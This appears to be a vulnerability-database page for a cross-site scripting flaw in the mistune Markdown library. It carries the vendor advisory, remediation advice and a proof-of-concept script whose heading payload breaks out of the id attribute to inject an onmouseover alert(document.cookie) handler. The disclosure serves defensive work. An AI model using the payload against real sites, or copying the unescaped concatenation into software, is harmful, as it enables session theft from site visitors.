mistune CVE-2026-44897
MEDIUMAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconControl heading content
-
DeliveryInject quote and attribute syntax
-
ExploitPass to mistune with text-based heading_id callback
-
InstallCallback returns unescaped payload
-
C2HTMLRenderer concatenates unescaped id value
-
ExecuteUser hovers/clicks heading element
-
ImpactJavaScript payload executes in browser context
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The vulnerability requires two specific conditions to be exploitable: (1) The attacker must control the heading content of a Markdown document processed by mistune - this occurs on wikis, collaborative documentation sites, user comment sections, or any platform where non-privileged users can author Markdown headings. (2) The application must use a custom heading_id callback via add_toc_hook() that derives IDs directly from heading text without sanitization - the most common pattern, used to generate human-readable slug anchors like #installation or #getting-started. The default behavior of mistune (using auto-incremented numeric IDs like toc_1, toc_2) is safe and does not trigger the vulnerability. Exploitation does NOT require authentication, special network configuration, or non-default settings beyond using the documented public API for text-based heading IDs. Exploitation IS LIMITED by the requirement for user interaction (UI:R in CVSS) - the malicious payload executes only when the victim hovers over the heading (for onmouseover) or clicks an injected link (for onclick/href). The vulnerability does NOT affect applications that: use the default numeric heading_id generation, implement server-side HTML escaping of callback return values before passing them to mistune, or restrict heading content to trusted authors only. |
| Impact | This vulnerability carries moderate to significant real-world risk despite a CVSS score of 6.1, supported by multiple risk signals. The CVSS vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) correctly identifies network-accessible, unauthenticated exploitation with low complexity and required user interaction (mouse hover triggers onmouseover payload). The UI:R (user interaction required) factor legitimately reduces severity - a victim must hover over a malicious heading or click an injected link - which explains why this is not a critical score. However, the exploitation likelihood is HIGH because: (1) The trigger condition is the most common real-world usage pattern - every major documentation generator (MkDocs, Sphinx, Jekyll, Docusaurus) implements text-to-slug heading ID callbacks. (2) Publicly available proof-of-concept code exists with complete end-to-end exploitation demonstrating JavaScript execution. (3) The affected component (heading_id callback customization) is a documented public API, not an undocumented internal. (4) No special configuration or non-default settings are required beyond using a text-based heading_id callback - which is the default expectation for most documentation sites. The real-world impact potential includes session hijacking (cookie theft via JavaScript), credential harvesting (phishing content injection), supply-chain attacks on documentation sites that serve many users, and defacement. The user interaction requirement (UI:R) is a genuine limiting factor - the payload requires mouse hover or click - which appropriately prevents worm-like mass exploitation. However, for documentation sites where users frequently browse headings, or wikis where attackers control page content, this interaction barrier is trivial. Risk is CONFIRMED as HIGH (not just CVSS-derived) because the vulnerability targets the most common customization point and the prerequisites for exploitation are default patterns, not edge cases. |
| Exploit ScenarioDerived | An attacker controls content in a Markdown document processed by mistune (e.g., a wiki page, collaborative documentation site, or user-generated comment on a blog). The attacker crafts a heading containing a double-quote followed by a malicious attribute: foo" onmouseover="alert(document.cookie)" x=". When a documentation site using mistune with a text-based heading_id callback (deriving anchors from heading text) renders this Markdown, the heading_id callback returns the raw heading text. The HTMLRenderer.heading() method concatenates this unescaped value into the HTML, producing <h2 id="foo" onmouseover="alert(document.cookie)" x=">...</h2>. When a visitor hovers their mouse over the heading, the onmouseover event fires and executes JavaScript in the context of the site, allowing theft of session cookies, auth tokens, or other sensitive data. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 09, 2026
Cross-site scripting (XSS) in mistune's HTMLRenderer.heading() allows injection of arbitrary HTML attributes when custom heading_id callbacks return unsanitized heading text. The vulnerability occurs because the id attribute value is concatenated directly into the HTML tag without escaping, enabling attackers who control heading content to break out of the id= attribute and inject event handlers or other malicious attributes. Exploitation requires a caller-supplied heading_id callback that derives IDs from heading text - the most common real-world pattern used by documentation generators like MkDocs, Sphinx, and Jekyll. Publicly available proof-of-concept demonstrates mouse-over triggered JavaScript execution via onmouseover attribute injection.
RemediationAI
Upgrade mistune to version 3.2.1 or later immediately - the fix escapes the id attribute value before insertion into the HTML tag. For applications unable to upgrade immediately, implement a compensating control by wrapping your custom heading_id callback to sanitize the returned value using Python's html.escape() function before returning it: define a wrapper that calls html.escape(callback_result) on the original callback's output. This adds negligible performance overhead but prevents attribute breakout regardless of callback implementation. Documentation generators currently using raw heading text as IDs should audit whether they are relying on mistune's escaping (they should not be) and implement their own HTML entity encoding on ID values as a defense-in-depth layer. The fix in 3.2.1 adds proper HTML escaping (via a safe_entity() or equivalent call) to the heading() method's id attribute concatenation, ensuring that double-quote characters and other HTML special characters are converted to entities (" becomes ") before insertion into the tag.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
mistune is a lightweight Markdown parser library for Python that converts Markdown to HTML. The vulnerability resides in the HTMLRenderer.heading() method in src/mistune/renderers/html.py, which constructs HTML heading tags (h1-h6) by string concatenation. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically the failure to escape the id attribute value when it is retrieved from a caller-supplied heading_id callback via the add_toc_hook() API. While the heading text body is escaped upstream by the inline token renderer (arriving as " for quotes), the id attribute arrives as a raw string from the callback function with zero sanitization. The vulnerability manifests when the callback implements the common pattern of deriving human-readable slug anchors (e.g., #installation) directly from heading text, bypassing any HTML entity encoding or escaping. A double-quote character in the id value terminates the HTML attribute, allowing injection of additional attributes including event handlers (onmouseover, onclick, etc.), src=, href=, and other JavaScript-executable constructs.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from Vendor (https://github.com/lepture/mistune).
CVSS VectorVendor: https://github.com/lepture/mistune
DescriptionCVE.org
Summary
HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML - with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element.
The default TOC hook assigns safe auto-incremented IDs (toc_1, toc_2, …) that never contain user text. However, the add_toc_hook() API accepts a caller-supplied heading_id callback. Deriving heading IDs from the heading text itself - to produce human-readable slug anchors like #installation or #getting-started - is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the id= attribute.
Details
File: src/mistune/renderers/html.py
def heading(self, text: str, level: int, **attrs: Any) -> str:
tag = "h" + str(level)
html = "<" + tag
_id = attrs.get("id")
if _id:
html += ' id="' + _id + '"'
# ← _id is never escaped
return html + ">" + text + "</" + tag + ">\n"The text body (line content) *is* escaped upstream by the inline token renderer, which is why text arrives as " etc. But _id arrives as a raw string directly from whatever the heading_id callback returned - no escaping occurs at any point in the pipeline.
PoC
Step 1 - Establish the baseline (safe default IDs)
The script creates a parser with escape=True and the default add_toc_hook() (no custom heading_id callback). The default hook generates sequential numeric IDs:
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)
# default: heading_id produces toc_1, toc_2, …
bl_src = "
## Introduction\n"
bl_out, _ = md_safe.parse(bl_src)Output - ID is auto-generated, no user text appears in it:
<h2 id="toc_1">Introduction</h2>Step 2 - Add the realistic trigger: a text-based heading_id callback
Deriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, mkdocs, sphinx, jekyll all do this). The PoC uses the simplest possible version - return the raw heading text unchanged - to show the vulnerability without any extra transformation:
def raw_id(token, index):
return token.get("text", "")
# returns raw heading text as the ID
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)Step 3 - Craft the exploit payload
Construct a heading whose text contains a double-quote followed by an injected attribute:
## foo" onmouseover="alert(document.cookie)" x="When raw_id is called, token["text"] is foo" onmouseover="alert(document.cookie)" x=". This is passed verbatim to heading() as the id attribute value.
Step 4 - Observe attribute breakout in the output
ex_src = '
## foo" onmouseover="alert(document.cookie)" x="\n'
ex_out, _ = md_vuln.parse(ex_src)Actual output:
<h2 id="foo" onmouseover="alert(document.cookie)" x="">foo" onmouseover="alert(document.cookie)" x="</h2>Note: the heading body text is correctly escaped ("), but the id= attribute is not. A user who moves their mouse over the heading triggers alert(document.cookie). Any JavaScript payload can be substituted.
Script
A verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.
#!/usr/bin/env python3
"""H2: HTMLRenderer.heading() inserts the id= value verbatim - no escaping."""
import os, html as h
from mistune import create_markdown
from mistune.toc import add_toc_hook
def raw_id(token, index):
return token.get("text", "")
# --- baseline ---
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)
bl_file = "baseline_h2.md"
bl_src = "
## Introduction\n"
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
f.write(bl_src)
bl_out, _ = md_safe.parse(bl_src)
print(f"[{bl_file}]\n{bl_src}")
print("[output - id=toc_1, no user content, safe]")
print(bl_out)
# --- exploit ---
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)
ex_file = "exploit_h2.md"
ex_src = '
## foo" onmouseover="alert(document.cookie)" x="\n'
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
f.write(ex_src)
ex_out, _ = md_vuln.parse(ex_src)
print(f"[{ex_file}]\n{ex_src}")
print("[output - heading_id returns raw text, id= not escaped]")
print(ex_out)
# --- HTML report ---
CSS = """
body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}
h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}
p.desc{color:#555;font-size:.9em;margin-top:6px}
.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}
.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}
.baseline .case-header{background:#d1fae5;color:#065f46}
.exploit .case-header{background:#fee2e2;color:#7f1d1d}
.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}
.panel{padding:16px}
.panel+.panel{border-left:1px solid #eee}
.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}
pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}
.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}
.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}
"""
def case(kind, label, filename, src, out):
return f"""
<div class="case {kind}">
<div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} - {h.escape(label)}</div>
<div class="panels">
<div class="panel">
<h3>Input - {h.escape(filename)}</h3>
<pre>{h.escape(src)}</pre>
</div>
<div class="panel">
<h3>Output - HTML source</h3>
<pre>{h.escape(out)}</pre>
<div class="rlabel">↓ rendered in browser (hover the heading to trigger onmouseover)</div>
<div class="rendered">{out}</div>
</div>
</div>
</div>"""
page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8">
<title>H2 - Heading ID XSS</title><style>{CSS}</style></head><body>
<h1>H2 - Heading ID XSS (unescaped id= attribute)</h1>
<p class="desc">HTMLRenderer.heading() in renderers/html.py does html += ' id="' + _id + '"' with no escaping.
Triggered when heading_id callback returns raw heading text - the most common doc-generator pattern.</p>
{case("baseline", "Clean heading → sequential id=toc_1, safe", bl_file, bl_src, bl_out)}
{case("exploit", "Malicious heading → quotes break out of id=, onmouseover injected", ex_file, ex_src, ex_out)}
</body></html>"""
out_path = os.path.join(os.getcwd(), "report_h2.html")
with open(out_path, "w") as f:
f.write(page)
print(f"\n[report] {out_path}")Example Usage:
python poc.pyOnce the script is run, open report_h2.html in the browser and observe the behaviour.
Impact
| Dimension | Assessment |
|---|---|
| Confidentiality | Session cookie / auth token theft via JavaScript execution triggered on mouse interaction |
| Integrity | DOM manipulation, phishing content injection, forced navigation |
| Availability | Page freeze or crash available to attacker |
Risk context: This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune's heading_id callback without independently sanitising the returned value.
Blast Radius
ecosystem impact- 12 pypi packages depend on mistune (12 direct, 0 indirect)
Ecosystem-wide dependent count for version 3.2.1.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allVendor StatusVendor
SUSE
Severity: Medium| Product | Status |
|---|---|
| SUSE Linux Enterprise Desktop 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Python 3 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 16.0 | Fixed |
| SUSE Linux Enterprise Server 16.1 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| SUSE Linux Enterprise Server for SAP applications 16.0 | Fixed |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Module for Python 3 15 SP4 | Fixed |
| SUSE Linux Enterprise Module for Python 3 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Python 3 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP4 | Fixed |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP5 | Fixed |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Fixed |
| SUSE Manager Proxy 4.3 | Fixed |
| SUSE Manager Retail Branch Server 4.3 | Fixed |
| SUSE Manager Server 4.3 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP4 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP5 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP6 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP4 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Fixed |
| openSUSE Leap 15.3 | Fixed |
| openSUSE Leap 15.4 | Fixed |
| openSUSE Leap 15.5 | Fixed |
| openSUSE Leap 15.6 | Fixed |
GHSA-v87v-83h2-53w7
NVD
CVE.org
EPSS
VulDB
Exploit-DB